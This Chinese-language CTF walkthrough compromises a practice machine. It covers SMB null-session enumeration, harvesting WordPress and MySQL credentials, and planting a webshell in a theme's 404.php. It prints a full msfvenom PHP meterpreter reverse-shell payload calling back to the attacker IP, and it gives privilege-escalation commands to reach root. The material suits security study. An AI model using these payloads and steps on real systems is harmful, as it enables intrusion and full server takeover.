CTF靶场系列第三部——利用SMB信息泄漏最终拿到flag
SMB(Server Message
Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。后来Linux移植了SMB,并称为samba。
SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445
emmm,具体的请百度,就不搬运了。
1、kali攻击机IP:192.168.40.132
2、靶场IP:192.168.40.146
目标:拿到靶场中的flag
对于只是给定一个对应lP地址的靶场机器,我们需要用对其进行扫描,探测开放的服务。
渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,获取机器的最高权限
nmap -sV [ip] #挖掘开放服务信息
nmap -A -v -T4 [ip] #挖掘靶场全部信息
信息显示开启了139
和445
端口,mysql也开启了。
还有smb的版本信息等。
然后第二条命令,扫描靶场全部信息
每一个服务对应计算机的一个端口,用来进行通信。常用端口0~1023
在扫描结果中查找特殊端口
老规矩,针对特殊端口进行探测,尤其对开放大端口的http服务进行排查。
smbclient -L [ip]
列出该IP分享的所有目录以及链接
这里使用的是空密码(直接敲回车即可)‘
发现了信息:print$
这个是共享的打印机、share$
共享一个文件夹、IPC$
空链接(不需要用户名就可以登录web服务器)。
然后挨个查看就行
smbclient '\\[ip]\print$'
依旧使用的空密码,发现是失败了。无法连接。
开始下一个
依旧空密码,成功连接。可以执行一些命令。比如ls
然后查看下一个(先全部查看完毕在进行更深一步的探测)
同样可以登录到smb服务,可以看到空连接里是没有东西的。直接退出!
刚才在share$
的共享文件夹中发现信息,所以再去到share$
中进一步获取信息。
使用get下载敏感文件进行查看。
get deets.txt
下载查看deets.txt
记住这个密码。
浏览查看到wordpress文件夹
看到一堆文件,需要找的是它的配置文件,wordpress的配置文件一般是有用户名和密码的。
get wp-config.php
得到了MySQL的用户名和密码分别是:Admin
和TogieMYSQL12345^^
之前扫描端口,室友MySQL服务的,在3306端口。所以可以尝试一下远程登录MySQL看看能否成功登录。
可以看出是无法登录的,所以再另想办法。
还有个ssh服务开启,尝试利用ssh服务登录服务器
密码还用的是刚才那个,但是无法登录。密码不正确!
searchsploit samba版本号
版本号前面已经查询过了。
就是上面这张图显示的,。
还是没有可利用的信息。
wp-admin
192.168.40.146/wordpress/wp-admin/
终端执行
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.40.132 lport=4444 -f raw
/**/ error_reporting(0); $ip = '192.168.40.132'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
在桌面创建一个新文件将内容复制进去就行。
命令可使用gedit。由于我的kali没装gedit,所以可以装一下。
apt-get install gedit
开始监听此端口
打开metasploit这个工具
使用use exploit/multi/handler
模块
设置payload:set payload php/meterpreter/reverse_tcp
最后开启本地监听直接run
使用找到的敏感信息登录系统后台,上传webshell。执行webshell(访问具有webshell的PHP页面)
获得反弹的shell
wordpress上传点:theme 404.php
执行:http://靶场IP/wordpress/wp-content/themes/twentyfifteen/404.php
然后进行上传
会有提示上传成功的
然后访问一个不存在的页面让其返回404页面。就可以了,上面我已经写到了那个URL,可以访问那个
这个时候应该已经监听到了,回去查看一下
可以看到反弹shell已经成功了。
还能执行一些命令。
优化终端:python -c "import pty; pty.spawn('/bin/bash')"
查找敏感信息,提升root权限,查看flag值。
查看用户名等信息cat /etc/passwd
找home字眼,找对应的用户进行提权
切换togie
用户,su - togie
需要密码,前面还有个密码,就是在那个deets.txt文件中发现的12345
然后查看该用户可以执行的权限sudo l
,然后看到一些可以执行命令的安全目录
使用sudo su
提升到root权限
然后就是找flag了。不出意外都在root根目录下
只不过我的这个有些奇怪。
到这里就结束了。总结一下:
这个靶场系列主要是信息收集,还有对各个服务的弱点分析。
学会了如何制作自己的webshell。利用webshell等一些列知识。
还是信息的收集和分析最重要。
还有就是对metasploit这个工具更加熟悉了。